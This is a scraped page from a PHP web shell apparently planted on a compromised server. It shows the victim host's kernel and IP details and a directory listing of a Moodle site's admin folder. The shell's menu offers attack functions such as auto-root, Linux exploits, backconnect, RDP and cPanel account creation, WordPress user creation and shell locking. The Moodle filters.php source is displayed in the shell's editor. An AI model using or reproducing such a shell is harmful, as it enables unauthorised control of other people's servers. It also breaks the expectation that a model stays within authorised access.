Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.219
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
mnet
[ DIR ]
drwxr-xr-x
registration
[ DIR ]
drwxr-xr-x
roles
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
tool
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
webservice
[ DIR ]
drwxr-xr-x
antiviruses.php
3.39
KB
-rw-r--r--
auth.php
2.85
KB
-rw-r--r--
auth_config.php
8.58
KB
-rw-r--r--
blocks.php
9.54
KB
-rw-r--r--
category.php
6.28
KB
-rw-r--r--
contentbank.php
2.76
KB
-rw-r--r--
courseformats.php
2.88
KB
-rw-r--r--
cron.php
2.71
KB
-rw-r--r--
customfields.php
2.08
KB
-rw-r--r--
dataformats.php
2.65
KB
-rw-r--r--
editors.php
2.87
KB
-rw-r--r--
enrol.php
4.19
KB
-rw-r--r--
environment.php
4.17
KB
-rw-r--r--
environment.xml
129.35
KB
-rw-r--r--
filters.php
8.58
KB
-rw-r--r--
index.php
38.18
KB
-rw-r--r--
lib.php
4.49
KB
-rw-r--r--
localplugins.php
2.66
KB
-rw-r--r--
lock.php
2.89
KB
-rw-r--r--
mailout-debugger.php
2.2
KB
-rw-r--r--
media.php
2.38
KB
-rw-r--r--
message.php
6.08
KB
-rw-r--r--
modules.php
6.68
KB
-rw-r--r--
oauth2callback.php
1.88
KB
-rw-r--r--
phpinfo.php
968
B
-rw-r--r--
plagiarism.php
3.17
KB
-rw-r--r--
plugins.php
8.84
KB
-rw-r--r--
portfolio.php
8.5
KB
-rw-r--r--
process_email.php
1.72
KB
-rw-r--r--
purgecaches.php
2.25
KB
-rw-r--r--
qbehaviours.php
8.49
KB
-rw-r--r--
qtypes.php
9.13
KB
-rw-r--r--
renderer.php
93.24
KB
-rw-r--r--
reports.php
4.11
KB
-rw-r--r--
repository.php
16.77
KB
-rw-r--r--
repositoryinstance.php
5.74
KB
-rw-r--r--
resetemoticons.php
1.63
KB
-rw-r--r--
search.php
2.89
KB
-rw-r--r--
searchareas.php
10.89
KB
-rw-r--r--
searchreindex.php
3.16
KB
-rw-r--r--
settings.php
5.49
KB
-rw-r--r--
tasklogs.php
2.91
KB
-rw-r--r--
testoutgoingmailconf.php
3.27
KB
-rw-r--r--
thirdpartylibs.php
2.56
KB
-rw-r--r--
timezone.php
1.55
KB
-rw-r--r--
tools.php
3.55
KB
-rw-r--r--
updatesetting.php
2.39
KB
-rw-r--r--
upgrade.txt
1.71
KB
-rw-r--r--
upgradesettings.php
2.48
KB
-rw-r--r--
user.php
18.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filters.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Filter management page. * * @package core * @copyright 1999 onwards Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/../config.php'); require_once($CFG->libdir . '/adminlib.php'); $action = optional_param('action', '', PARAM_ALPHA); $filterpath = optional_param('filterpath', '', PARAM_PLUGIN); admin_externalpage_setup('managefilters'); // Clean up bogus filter states first. $plugininfos = core_plugin_manager::instance()->get_plugins_of_type('filter'); $filters = array(); $states = filter_get_global_states(); foreach ($states as $state) { if (!isset($plugininfos[$state->filter]) and !get_config('filter_'.$state->filter, 'version')) { // Purge messy leftovers after incorrectly uninstalled plugins and unfinished installs. $DB->delete_records('filter_active', array('filter' => $state->filter)); $DB->delete_records('filter_config', array('filter' => $state->filter)); error_log('Deleted bogus "filter_'.$state->filter.'" states and config data.'); } else { $filters[$state->filter] = $state; } } // Add properly installed and upgraded filters to the global states table. foreach ($plugininfos as $filter => $info) { if (isset($filters[$filter])) { continue; } /** @var \core\plugininfo\base $info */ if ($info->is_installed_and_upgraded()) { filter_set_global_state($filter, TEXTFILTER_DISABLED); $states = filter_get_global_states(); foreach ($states as $state) { if ($state->filter === $filter) { $filters[$filter] = $state; break; } } } } if ($action) { require_sesskey(); } // Process actions. switch ($action) { case 'setstate': if (isset($filters[$filterpath]) and $newstate = optional_param('newstate', '', PARAM_INT)) { filter_set_global_state($filterpath, $newstate); if ($newstate == TEXTFILTER_DISABLED) { filter_set_applies_to_strings($filterpath, false); } } break; case 'setapplyto': if (isset($filters[$filterpath])) { $applytostrings = optional_param('stringstoo', false, PARAM_BOOL); filter_set_applies_to_strings($filterpath, $applytostrings); } break; case 'down': if (isset($filters[$filterpath])) { filter_set_global_state($filterpath, $filters[$filterpath]->active, 1); } break; case 'up': if (isset($filters[$filterpath])) { $oldpos = $filters[$filterpath]->sortorder; filter_set_global_state($filterpath, $filters[$filterpath]->active, -1); } break; } // Reset caches and return. if ($action) { reset_text_filters_cache(); core_plugin_manager::reset_caches(); redirect(new moodle_url('/admin/filters.php')); } // Print the page heading. echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('filtersettings', 'admin')); $states = filter_get_global_states(); $stringfilters = filter_get_string_filters(); $table = new html_table(); $table->head = array(get_string('filter'), get_string('isactive', 'filters'), get_string('order'), get_string('applyto', 'filters'), get_string('settings'), get_string('uninstallplugin', 'core_admin')); $table->colclasses = array ('leftalign', 'leftalign', 'centeralign', 'leftalign', 'leftalign', 'leftalign'); $table->attributes['class'] = 'admintable generaltable'; $table->id = 'filterssetting'; $table->data = array(); $lastactive = null; foreach ($states as $state) { if ($state->active != TEXTFILTER_DISABLED) { $lastactive = $state->filter; } } // Iterate through filters adding to display table. $firstrow = true; foreach ($states as $state) { $filter = $state->filter; if (!isset($plugininfos[$filter])) { continue; } $plugininfo = $plugininfos[$filter]; $applytostrings = isset($stringfilters[$filter]) && $state->active != TEXTFILTER_DISABLED; $row = get_table_row($plugininfo, $state, $firstrow, $filter == $lastactive, $applytostrings); $table->data[] = $row; if ($state->active == TEXTFILTER_DISABLED) { $table->rowclasses[] = 'dimmed_text'; } else { $table->rowclasses[] = ''; } $firstrow = false; } echo html_writer::table($table); echo '<p class="filtersettingnote">' . get_string('filterallwarning', 'filters') . '</p>'; echo $OUTPUT->footer(); die; /** * Return action URL. * * @param string $filterpath * @param string $action * @return moodle_url */ function filters_action_url($filterpath, $action) { if ($action === 'delete') { return core_plugin_manager::instance()->get_uninstall_url('filter_'.$filterpath, 'manage'); } return new moodle_url('/admin/filters.php', array('sesskey'=>sesskey(), 'filterpath'=>$filterpath, 'action'=>$action)); } /** * Construct table record. * * @param \core\plugininfo\filter $plugininfo * @param stdClass $state * @param bool $isfirstrow * @param bool $islastactive * @param bool $applytostrings * @return array data */ function get_table_row(\core\plugininfo\filter $plugininfo, $state, $isfirstrow, $islastactive, $applytostrings) { global $OUTPUT; $row = array(); $filter = $state->filter; $active = $plugininfo->is_installed_and_upgraded(); static $activechoices; static $applytochoices; if (!isset($activechoices)) { $activechoices = array( TEXTFILTER_DISABLED => get_string('disabled', 'core_filters'), TEXTFILTER_OFF => get_string('offbutavailable', 'core_filters'), TEXTFILTER_ON => get_string('on', 'core_filters'), ); $applytochoices = array( 0 => get_string('content', 'core_filters'), 1 => get_string('contentandheadings', 'core_filters'), ); } // Filter name. $displayname = $plugininfo->displayname; if (!$plugininfo->rootdir) { $displayname = '<span class="error">' . $displayname . ' - ' . get_string('status_missing', 'core_plugin') . '</span>'; } else if (!$active) { $displayname = '<span class="error">' . $displayname . ' - ' . get_string('error') . '</span>'; } $row[] = $displayname; // Disable/off/on. $select = new single_select(filters_action_url($filter, 'setstate'), 'newstate', $activechoices, $state->active, null, 'active' . $filter); $select->set_label(get_string('isactive', 'filters'), array('class' => 'accesshide')); $row[] = $OUTPUT->render($select); // Re-order. $updown = ''; $spacer = $OUTPUT->spacer(); if ($state->active != TEXTFILTER_DISABLED) { if (!$isfirstrow) { $updown .= $OUTPUT->action_icon(filters_action_url($filter, 'up'), new pix_icon('t/up', get_string('up'), '', array('class' => 'iconsmall'))); } else { $updown .= $spacer; } if (!$islastactive) { $updown .= $OUTPUT->action_icon(filters_action_url($filter, 'down'), new pix_icon('t/down', get_string('down'), '', array('class' => 'iconsmall'))); } else { $updown .= $spacer; } } $row[] = $updown; // Apply to strings. $select = new single_select(filters_action_url($filter, 'setapplyto'), 'stringstoo', $applytochoices, $applytostrings, null, 'applyto' . $filter); $select->set_label(get_string('applyto', 'filters'), array('class' => 'accesshide')); $select->disabled = ($state->active == TEXTFILTER_DISABLED); $row[] = $OUTPUT->render($select); // Settings link, if required. if ($active and filter_has_global_settings($filter)) { $row[] = html_writer::link(new moodle_url('/admin/settings.php', array('section'=>'filtersetting'.$filter)), get_string('settings')); } else { $row[] = ''; } // Uninstall. $row[] = html_writer::link(filters_action_url($filter, 'delete'), get_string('uninstallplugin', 'core_admin')); return $row; }
Close